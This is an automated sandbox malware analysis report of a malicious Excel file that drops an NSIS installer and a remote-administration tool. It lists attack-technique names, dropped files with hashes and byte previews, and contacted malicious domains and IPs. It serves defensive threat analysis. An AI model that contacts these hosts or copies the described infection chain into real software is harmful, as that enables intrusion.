Local Accounts	At (Windows)	Logon Script (Mac)	Process Injection11	DLL Side-Loading1	NTDS	Security Software Discovery221	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	File Deletion1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	Virtualization/Sandbox Evasion111	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading21	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Modify Registry1	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion111	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection11	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\Public\JavelinNew\libeay32.dll	3%	Metadefender	Browse
C:\Users\Public\JavelinNew\libeay32.dll	3%	ReversingLabs
C:\Users\Public\JavelinNew\ssleay32.dll	0%	Metadefender	Browse
C:\Users\Public\JavelinNew\ssleay32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nso349F.tmp\NSISList.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nso349F.tmp\NSISList.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nso349F.tmp\System.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nso349F.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nso349F.tmp\nsis7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nso349F.tmp\registry.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nso349F.tmp\registry.dll	2%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.1.appscomhost.10000000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen7		Download File

Domains

Source	Detection	Scanner	Label	Link
etisalatbuyback.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://update.remoteutilities.net/upgrade_beta.ini	0%	Virustotal		Browse
http://update.remoteutilities.net/upgrade_beta.ini	0%	Avira URL Cloud	safe
http://www.indyproject.org/	0%	URL Reputation	safe
http://www.indyproject.org/	0%	URL Reputation	safe
http://www.indyproject.org/	0%	URL Reputation	safe
http://www.indyproject.org/	0%	URL Reputation	safe
http://madExcept.comU	0%	Avira URL Cloud	safe
http://update.remoteutilities.net/upgrade.ini	0%	Virustotal		Browse
http://update.remoteutilities.net/upgrade.ini	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
etisalatbuyback.com	212.2.198.90	true	false	0%, Virustotal, Browse	unknown
id70.remoteutilities.com	209.205.218.178	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEPRNG	Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	appscomhost, 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp	false		high
http://update.remoteutilities.net/upgrade_beta.ini	Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.indyproject.org/	Javelin.exe, 00000008.00000000.272062914.0000000000E01000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.openssl.org/V	appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305300851.0000000011149000.00000002.00020000.sdmp	false		high
http://rmansys.ru/internet-id/	Javelin.exe, 00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp, Javelin.exe, 00000008.00000002.302591567.0000000001463000.00000002.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp	false		high
http://madExcept.comU	Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp	false		high
http://update.remoteutilities.net/upgrade.ini	Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
192.119.14.178	unknown	United States	55081	24SHELLSUS	false
198.147.28.34	unknown	United States	55081	24SHELLSUS	false
209.205.218.178	id70.remoteutilities.com	United States	55081	24SHELLSUS	false
212.2.198.90	etisalatbuyback.com	Turkey	8685	DORUKNETTR	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	442547
Start date:	30.06.2021
Start time:	20:05:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	policy#37820.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.expl.evad.winXLSB@15/18@4/6
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 66.4% (good quality ratio 65.2%) Quality average: 88% Quality standard deviation: 19.7%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 23.211.6.115, 13.64.90.137, 52.109.76.68, 52.109.12.23, 52.109.88.40, 23.35.236.56, 20.82.210.154, 173.222.108.226, 173.222.108.210, 51.103.5.186, 80.67.82.235, 80.67.82.211, 40.112.88.60 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, client.wns.windows.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:06:11	API Interceptor	1x Sleep call for process: WMIC.exe modified
20:06:23	API Interceptor	17x Sleep call for process: Javelin.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
192.119.14.178	Webinar.exe	Get hash	malicious	Browse
	QBikGim.exe	Get hash	malicious	Browse
	FG1eBAAwpR.exe	Get hash	malicious	Browse
	04_12_21.exe	Get hash	malicious	Browse
209.205.218.178	etcglobal.odt.exe	Get hash	malicious	Browse
	Desktop.exe	Get hash	malicious	Browse
	04.12.21.exe	Get hash	malicious	Browse
	Webinar.exe	Get hash	malicious	Browse
	QC-Telecom.exe	Get hash	malicious	Browse
	4CyHW6t6Yr.exe	Get hash	malicious	Browse
	QBikGim.exe	Get hash	malicious	Browse
	FG1eBAAwpR.exe	Get hash	malicious	Browse
	04_12_21.exe	Get hash	malicious	Browse
	8XioA9UTsz.exe	Get hash	malicious	Browse
	8XioA9UTsz.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
id70.remoteutilities.com	etcglobal.odt.exe	Get hash	malicious	Browse	209.205.218.178

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
24SHELLSUS	etcglobal.odt.exe	Get hash	malicious	Browse	209.205.218.178
	HuPjcvVze1.exe	Get hash	malicious	Browse	67.220.184.242
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	67.220.184.98
	PO108021.exe	Get hash	malicious	Browse	108.175.160.242
	Shipping Details_PDF.exe	Get hash	malicious	Browse	67.220.184.98
	New Order202105.exe	Get hash	malicious	Browse	67.220.184.98
	IQ4lblwCjQ.exe	Get hash	malicious	Browse	67.220.184.98
	sample products 1,2,&,4.exe	Get hash	malicious	Browse	209.205.207.130
	PO QT-028564.xlsx	Get hash	malicious	Browse	67.220.184.98
	IMG_20210526_SWIFTOREPORT_JPG.exe	Get hash	malicious	Browse	67.220.184.98
	TNT ADVICE.docx	Get hash	malicious	Browse	67.220.184.98
	MACHINE SPECIFICATION.exe	Get hash	malicious	Browse	67.220.184.146
	Shipping Details.exe	Get hash	malicious	Browse	67.220.184.98
	TNT BILL OF LADING DOCUMENTS.exe	Get hash	malicious	Browse	67.220.184.98
	Invoice#0593.exe	Get hash	malicious	Browse	67.220.184.98
	Invoices.exe	Get hash	malicious	Browse	67.220.184.98
	INV_6682738993_IMG.exe	Get hash	malicious	Browse	67.220.184.98
	VWR CI 220221.xlsx.exe	Get hash	malicious	Browse	67.220.184.98
	file.exe	Get hash	malicious	Browse	67.220.184.98
	Shipping DetailsPDF.exe	Get hash	malicious	Browse	67.220.184.98
24SHELLSUS	etcglobal.odt.exe	Get hash	malicious	Browse	209.205.218.178
	HuPjcvVze1.exe	Get hash	malicious	Browse	67.220.184.242
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	67.220.184.98
	PO108021.exe	Get hash	malicious	Browse	108.175.160.242
	Shipping Details_PDF.exe	Get hash	malicious	Browse	67.220.184.98
	New Order202105.exe	Get hash	malicious	Browse	67.220.184.98
	IQ4lblwCjQ.exe	Get hash	malicious	Browse	67.220.184.98
	sample products 1,2,&,4.exe	Get hash	malicious	Browse	209.205.207.130
	PO QT-028564.xlsx	Get hash	malicious	Browse	67.220.184.98
	IMG_20210526_SWIFTOREPORT_JPG.exe	Get hash	malicious	Browse	67.220.184.98
	TNT ADVICE.docx	Get hash	malicious	Browse	67.220.184.98
	MACHINE SPECIFICATION.exe	Get hash	malicious	Browse	67.220.184.146
	Shipping Details.exe	Get hash	malicious	Browse	67.220.184.98
	TNT BILL OF LADING DOCUMENTS.exe	Get hash	malicious	Browse	67.220.184.98
	Invoice#0593.exe	Get hash	malicious	Browse	67.220.184.98
	Invoices.exe	Get hash	malicious	Browse	67.220.184.98
	INV_6682738993_IMG.exe	Get hash	malicious	Browse	67.220.184.98
	VWR CI 220221.xlsx.exe	Get hash	malicious	Browse	67.220.184.98
	file.exe	Get hash	malicious	Browse	67.220.184.98
	Shipping DetailsPDF.exe	Get hash	malicious	Browse	67.220.184.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Q8RJQ90EC6.exe	Get hash	malicious	Browse	212.2.198.90
	H03PtcViQG.exe	Get hash	malicious	Browse	212.2.198.90
	banka bildirimi SWIFT PDF.exe	Get hash	malicious	Browse	212.2.198.90
	yKz3gtwWvN.exe	Get hash	malicious	Browse	212.2.198.90
	Mz89FW9zvK.exe	Get hash	malicious	Browse	212.2.198.90
	data.doc_Client.exe	Get hash	malicious	Browse	212.2.198.90
	obfuscated-html.html	Get hash	malicious	Browse	212.2.198.90
	MV YU FENG4 TRADER_ISO8217.docx	Get hash	malicious	Browse	212.2.198.90
	plan-870783614.xlsb	Get hash	malicious	Browse	212.2.198.90
	newbad.rtf_Client.vbs	Get hash	malicious	Browse	212.2.198.90
	spot.dll	Get hash	malicious	Browse	212.2.198.90
	spot.dll	Get hash	malicious	Browse	212.2.198.90
	3.dll	Get hash	malicious	Browse	212.2.198.90
	3.dll	Get hash	malicious	Browse	212.2.198.90
	StsDQGUVmT.exe	Get hash	malicious	Browse	212.2.198.90
	L0DdbYIYEx.exe	Get hash	malicious	Browse	212.2.198.90
	GamDzCDMI0.exe	Get hash	malicious	Browse	212.2.198.90
	O8O8CUUvAF.exe	Get hash	malicious	Browse	212.2.198.90
	1.htm	Get hash	malicious	Browse	212.2.198.90
	plan-515372324.xlsb	Get hash	malicious	Browse	212.2.198.90

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\Public\JavelinNew\libeay32.dll	etcglobal.odt.exe	Get hash	malicious	Browse
C:\Users\Public\JavelinNew\libeay32.dll	english.exe	Get hash	malicious	Browse
C:\Users\Public\JavelinNew\ssleay32.dll	etcglobal.odt.exe	Get hash	malicious	Browse
C:\Users\Public\JavelinNew\ssleay32.dll	english.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\Public\JavelinNew\Javelin.exe Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16615672
Entropy (8bit):	6.76564442538193
Encrypted:	false
SSDEEP:	196608:HNjzJSeEtAVBt4/BixizJcPM5OzQ6UM6pZpKerXvob24wwMIbQEWn:HNjzJSeE0D4KiZ5OyM6pXTrXvVw/bQEe
MD5:	AF5879D56594F01794A2C028BC75EC27
SHA1:	27AB93CA87C9F13EC6425916C3F15AD96AF92A8D
SHA-256:	41108849FEA92A7E8085BF312EE721145A50C105F8B7B41BBB743C4B6B643927
SHA-512:	F6C60BA983777B683D2DB4E1C0DBD2B9CDA3ED83D96997947798AC4ACE9E52DB71F144565C85225E01BBD79FF13BADFF392D2A656F83C026DF92575CEA7D6AEF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: C:\Users\Public\JavelinNew\Javelin.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\Public\JavelinNew\Javelin.exe, Author: Joe Security
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....;`.................R....,......e.......p....@................................._w...........@...................`...........\...`...k...........d..........T................................................................}...................text............................... ..`.itext...u.......v.................. ..`.data........p.......V..............@....bss....T................................idata...\.......^...Z..............@....didata..}.......~..................@....edata.......`.......6..............@..@.tls....h....p...........................rdata..]............8..............@..@.reloc..T............:..............@..B.rsrc....k...`...l..................@..@....................................@..@................

C:\Users\Public\JavelinNew\inst801.7z Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	7-zip archive data, version 0.3
Category:	dropped
Size (bytes):	644
Entropy (8bit):	7.52900611913228
Encrypted:	false
SSDEEP:	12:g85ORiuXW33K331d5zMd97plmRe7HDjq8hLTY661ROMcSna4FLIPwgy:h5OoY8mgFp0Qvq8KBrdYwgy
MD5:	9E9AAAC7CA998A5C55B9578FA4241C0A
SHA1:	31CE8220671FB47D91A6A391AB80E49C962A881F
SHA-256:	A5A4F0E2DA4C479B4D056985B5E71EF7F69D4BDD6AD04255794ACA9A7AA648D1
SHA-512:	6333BBFB126680C39B0DE260F6BB61303D2F953D4EC4FD74C43162B4E1B7BB77BFEB9671623E40B4E5B2628232325198FF46C65E57A2DA10A0BE04104E368FEB
Malicious:	false
Preview:	7z..'.......A.......#........a.h.*..$.fw.....\..8...}..m...?...;O.P/..2.V....~/E.VsmfD>c........T..>.s.C.,......;J......0.I%.I..JN65.h .&.. .,.......O.U084>.......!{?..[..@`..p.7\..L..nI..)....A....Y5.F...3.._.{G..%..e\|..9...W...}_G. .V.g:GX_rt1.......".u:........3.Ra..\|vrR....!.6....j:.'...M..vrY.v.S....Z.y.a.Pt..bD.sm....n.....,.....e.j.fz...{..}U..9.GC....$_+Yu2j).P.R..Q...n[.._.W.D.nRx.X......l.G.GL.........3...o.>l.b:...CLW...%.8~.r..g..\...-.p..,...dQ....X.>.J...L..n.c.G...sB%....X......:.....&T.).0..)..%=.S.l..JC...x....j..d.[.5.xs...f.[\!l.~..D.6Z.nX .7..T;o.`.^U....n}{..p...............#....]......J...c}...

C:\Users\Public\JavelinNew\instzip594.7z Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	7-zip archive data, version 0.3
Category:	dropped
Size (bytes):	5154900
Entropy (8bit):	7.99995626098956
Encrypted:	true
SSDEEP:	98304:GDNvXLvCK5oW+DiqwEZzwoVTU38+hAByZApTjxEtSJ94+PrJhWX7a8ap0GAJ6:mLvCK6i+3UdQdPx2A9p8g07o
MD5:	49A827B49E2E110EEC4E4522D301B69B
SHA1:	474EC31448E05CEA5F285C933504E05435790056
SHA-256:	FADBD996888FC88D709DCEB923D9DDFDAF82A09D2FC514B39974E6740AED8AA1
SHA-512:	5E95937F2F1AFEFE324CB954632B4449DD304AD5779B7D07B00172244E431CE4B0CC055AE319801720C1E9B582F5744850F7E410A7ED0D0EEA5DC1262C84AB9B
Malicious:	false
Preview:	7z..'...%..v..N.....%............&......k.u....{.:....Rd...<-WG.-.....o%..P..[.R..\|=LuM...s....q/p_.%o.......j....#..oB.+E...HM..w..d?Wg`X......gB."2.A;.K...\...l...X.J........!...,...#...^..0/...0=r..]\.\|.....A..Q~l... 3..!..?]..#z..[1.....K.s0..Rd....0^.&+.8.+..[.c.kn.....E$.[.\.d.....u.P..~S..\|".......pS....S_.......Up..^$.....fSUGe.....N.Alg.A..o/T...R.7..Pn.y@.iWx[.I..W....FX..3.TU_....".n1.wLb.L.'.?A.....c.Z..0..5.}..d.l7n......$!...F.Q.~.n..>1.!.^n.....:....\|..zF.a.v.$..a....J .6.`..7...a.O,<r..7....$.34.....I'...2.9..URG.z....?v..t].u1.5o...Ix......f.N9........P.:b..7.$........]].......:...(.1.dY.-&.[.,... .t......6.<..(F.C...k."....:Q..N..d.C.\|J...y..XPl.t...HF ....}..PO5....YC.b....{...x...o[..... ...p.C.;..Z.._..(4._...7.?.T.s.@.N.R.z....A,.......U....f.~...h.r..6.!..DeL..C.R...}...m..Vt.-3..%~...FP..E.pU...i.8..h..I...hk.......0.....}bb.~.$U..e.4c.,...'rAj..A]a...+..+?..c.Yj.$..7d...J.R.ew.*...~....r[.~e.P..8P..Fb..[,...i..z.@x}..

C:\Users\Public\JavelinNew\libeay32.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1377016
Entropy (8bit):	6.8566450434786255
Encrypted:	false
SSDEEP:	24576:nD8B+KpPexB6mqwktXUcAVEaFQXhL0porIqo+FrzbN:EKkmlktXUcAVEDhQporIqo+FrzbN
MD5:	0D51927274281007657C7F3E0DF7BECB
SHA1:	6DE3746D9D0980F5715CEC6C676A8EB53B5EFC49
SHA-256:	DFC847405BE60C29E86E3E3222E7F63C1FF584727D87D3C35C25C4893E19FDA0
SHA-512:	EEF74088A94635184192D82BB6DCC0758749CB290C8DEEFF211881E8A280AEC73A53334EFF8846DF618204B0F318E757EAB23E76951A472BA6E086905000D9A5
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: etcglobal.odt.exe, Detection: malicious, Browse Filename: english.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b7.j&V.9&V.9&V.9/..9.V.9/..9=V.9&V.9.V.9...9-V.9&V.93V.9/..9.T.9/..9'V.9/..9'V.9/..9'V.9Rich&V.9................PE..L.....,Y...........!.....\..................p...............................P.......[..................................r.......x.......0.......................P...pr..............................p...@............p..(............................text....[.......\.................. ..`.rdata...X...p...Z...`..............@..@.data...........t..................@....rsrc...0...........................@..@.reloc..............4..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\JavelinNew\ssleay32.dll Download File
Process:	C:\Users\Public\Libraries\appscomhost
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345336
Entropy (8bit):	6.557003324106128
Encrypted:	false
SSDEEP:	6144:IEXfWSXFKIsrpivdM+kPsmWak8dfthPDP0wrE90k7DUT/NaDB7JlwScihgbX5/Gd:IEXfWSVKIsrpivdM+msmWak8dfnPDPPG
MD5:	197DA919E4C91125656BF905877C9B5A
SHA1:	9574EC3E87BB0F7ACCE72D4D59D176296741AA83
SHA-256:	303C78ABA3B776472C245F17020F9AA5A53F09A6F6C1E4F34B8E18E33906B5EE
SHA-512:	33C1B853181F83CAB2F57F47FB7E093BADF83963613E7328EBD23F0D62F59416D7A93063C6237435FBB6833A69BC44EBBC13AA585DA010F491C680B2EA335C47
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: etcglobal.odt.exe, Detection: malicious, Browse Filename: english.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............r...r...r.......r.......r......r......r...s.6.r....\.r.......r......r......r.Rich..r.................PE..L.....,Y...........!.........l......Y3...............................................S..............................0....).....<....0..0............&.......@...,..0...............................0...@............................................text...Z........................... ..`.rdata..............................@..@.data....[.......@..................@....rsrc...0....0......................@..@.reloc...3...@...4..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Libraries\appscomhost Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	5437775
Entropy (8bit):	7.998224982007381
Encrypted:	true
SSDEEP:	98304:oY+ZDNvXLvCK5oW+DiqwEZzwoVTU38+hAByZApTjxEtSJ94+PrJhWX7a8ap0GAJa:oNLvCK6i+3UdQdPx2A9p8g07Rq
MD5:	8DF649FAB065908962626C67F247618C
SHA1:	19EBC4AA4CC9823788746394EC8419047B43EAE9
SHA-256:	FD4514FF3A7DC34574A19042EC70947136137B853C3EC4D7155123562627F450
SHA-512:	7346E89005AA5279FE05372C9A18B749173313639994B2C45EC4240864B3D70F8B183757B9714F43559F9B3B2799ABC4E315994BB80D88F09EC74C434EC7D094
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.$_.................h...:...@...4............@..........................0 ...........@.............................................0f...........................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc...0f.......h..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\662FAE06-B8BB-4FD3-9343-79CB8671E669 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	135209
Entropy (8bit):	5.363061097155553
Encrypted:	false
SSDEEP:	1536:VcQIKNgeBTA3gBwlpQ9DQW+zoY34ZliKWXboOidX5E6LWME9:hEQ9DQW+zwXO1
MD5:	05894699F3058B23A6AD101179A32F6E
SHA1:	7BAD5520501DF94673D112DBFEE2BB0F52ADFF42
SHA-256:	75CE9E41FAF69192D34DE599A31D53B4ABC52C57483A77490BC8766DE400EC64
SHA-512:	126D91DC63E60E002F2EC765131E13BD664D3FD48524FB8F6B2945D16AABFD32DDDE463E8F522EE8395C76CB103B15255F4B9D3F0F5FBD2A20B72300727A8FED
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-30T18:06:00">.. Build: 16.0.14228.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\85BBDE0D.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 2260 x 952, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	81517
Entropy (8bit):	7.942268293903438
Encrypted:	false
SSDEEP:	1536:PnIciz38MXwe/g/aGLb6QT/Y+mhu9JOERaXwfSLfGrBvMNK/rEE5ZYU8lMz4rNV/:PnIcA38Y/UzzFmMeyagf8unr5h8Y4rNN
MD5:	9DB42D5B391AE2498C4C6E77B7A06F19
SHA1:	7E93865DA631CE7342EEC7E90D2FEF83485F78F0
SHA-256:	60F4BFE9CB33E34C4D50943E3A0DFC1AE7EDA2A97A6192AC3CC4BD34ABEF76EA
SHA-512:	D8D96C4005B2B4C35A7D3F87B48FDBD0B72059E664234DD76A7CF5DEE6F2FEFBC5D6E75A8892B3251DC7021125BEA89CC71F012B3C54915B42C83CD2389D499C
Malicious:	false
